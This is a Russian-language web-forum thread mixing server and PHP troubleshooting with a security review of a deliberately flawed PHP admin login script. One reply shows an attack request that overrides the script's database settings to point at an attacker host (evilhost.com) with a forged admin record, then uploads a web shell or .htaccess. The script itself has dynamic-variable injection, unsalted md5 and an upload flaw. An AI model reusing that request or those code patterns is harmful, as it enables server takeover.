если у вас не было установлено никаких панелей.
То посмотрите например /var/www/index.html
На разных вебсерверах может быть в разных местах.
к тому же если установлена панель управления типа cPanel, ispmanager или что то другое, то надо смотреть документацию на эту панель они тоже изменяют стартовую дефолтную страницу.
Возможно, вы овбовив PHP, не обновили библиотеки. Поэтому PHP их не может подгрузить.
И пошли все косяки. У вас какая ОС на сервере ?
Как вариант отключить функционал этого класса
перед этим, строка 115
if ($backtrace && function_exists( 'debug_backtrace' ))
поставить
$backtrace = false;
Вот я хотел бы увидеть ваш продукт, потому как всего есть только 2-3 анализатора кода.
Pixi, мое детище, и еще разор как то выкладывал. но все из них - есть ГОВНО!
так как ни один из них не видит косяков логики и думаю, никогда не увидит....
Хотелось бы посмотреть что юзаете вы.
Моя тема на этом форуме
Велком, так сказать.
Резюмирую . лучшая программа в голове.
Учитесь ей работать, а не программами.
p.ss Если уж глобализацию пропустила, то про ошибки логики говорить нечего
Ну тогда получайте ложку дегтя.
POST script.php?db_user=eviluser&db_pass=evilpass&db_host=evilhost.com&db_name=somename&user=admin&password=adminpass
где evilhost.com содержит открытый во внешку мускул с БД somename, в ней таблицей user , и записью admin:adminpass:1 ну вы поняли я думаю.
И в этот же запрос пихаем отправку файла, к примеру shell.php.doc или как вы сказали .htaccess с кодом для исполнения gif как php, или что то типа shtml.
Не думаю что после такого анализа, код любой другой CMS после вашей проверки будет 100% безопастным.
я изменю код по поводу первого пункта, просто когда редактировал нечайно допустил косяк.
move_uploaded_file($_FILES['file']['name'], "uploads/".$_FILES['file']['name']);
на
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/".$_FILES['file']['name']);
значит ли что храние хеша без соли является единственным багом ?
то есть в остальном код безопасен ?
Вот посмотрите этот простой скрипт и скажите, опасен ли данный скрипт входа в админку для сервера?
Если да, то дайте развернутый ответ почему и где косяки?
<?php define("IN_CMS", 1); session_start(); //include("config.php"); /* <? $db_user = "user"; $db_pass = "pass"; $db_host = "host"; $db_name = "name"; ?> */ $db_user = "user"; $db_pass = "pass"; $db_host = "host"; $db_name = "name"; include("smarty.php"); $protected_arrays = array("_GET", "_POST", "_COOKIE", "_REQUEST", "_FILES", "GLOBALS", "_SESSION", "_SERVER", "_ENV"); $protected_ext = array("php", "php3", "php4", "php5"); foreach($_REQUEST as $key=>$var){ foreach($protected_arrays as $prot_arr){ if(strpos($key, $prot_arr) === false && strpos($var, $prot_arr) === false){ $$key = stripslashes_deep($var); }else{ $template->assign($error, "Security Check Failure"); $template->display("login.tpl"); die(); } } } $db_link = mysql_connect($db_host, $db_user, $db_pass) or die(mysql_error()); mysql_select_db($db_name, $db_link) or die(mysql_error()); if(isset($user) & isset($password)){ $res = mysql_query("SELECT * FROM users WHERE user='".mysql_real_escape_string($user)."'"); if(mysql_num_rows($res) == 1){ $_utmp = mysql_fetch_assoc($res); if($_utmp['password'] == md5($password)){ $_SESSION['logininfo'] = $_utmp; } } } if(isset($_SESSION['logininfo']['is_admin']) && $_SESSION['logininfo']['is_admin'] == 1){ switch ($action){ case "upload": if(is_uploaded_file($_FILES['file']['tmp_name'])){ $lastpos = strrpos($_FILES['file']['name'], "."); $ext = substr($_FILES['file']['name'], $lastpos+1, strlen($_FILES['file']['name']) - $lastpos-1); if(!in_array($ext, $protected_ext)){ move_uploaded_file($_FILES['file']['name'], "uploads/".$_FILES['file']['name']); $template->assign($name, $_FILES['file']['name']); }else{ $template->assign($error, "Security Check Failure"); } }else{ $template->assign($error, "Security Check Failure"); } break; //case ............... } $template->display("admin.tpl"); }else{ $template->display("login.tpl"); } die(); function stripslashes_deep($arg){ if(is_array($arg)){ $arg = array_map('stripslashes_deep', $arg); }else{ $arg = stripslashes($arg); $arg = str_replace(chr(0), '', $arg); } return $arg; } ?>
orlovivan дам вам хороший совет, даже не думайте делать новый сайт на ДЛЕ.
ДЛЕ это детская поделка на сделаная на уроке труда да еще и платная, тоже самое скажет любой хороший кодер.
Ставьте что то более серьезное. Друпал, Джумла или все таки закажите целый сайт у хорошего програмиста.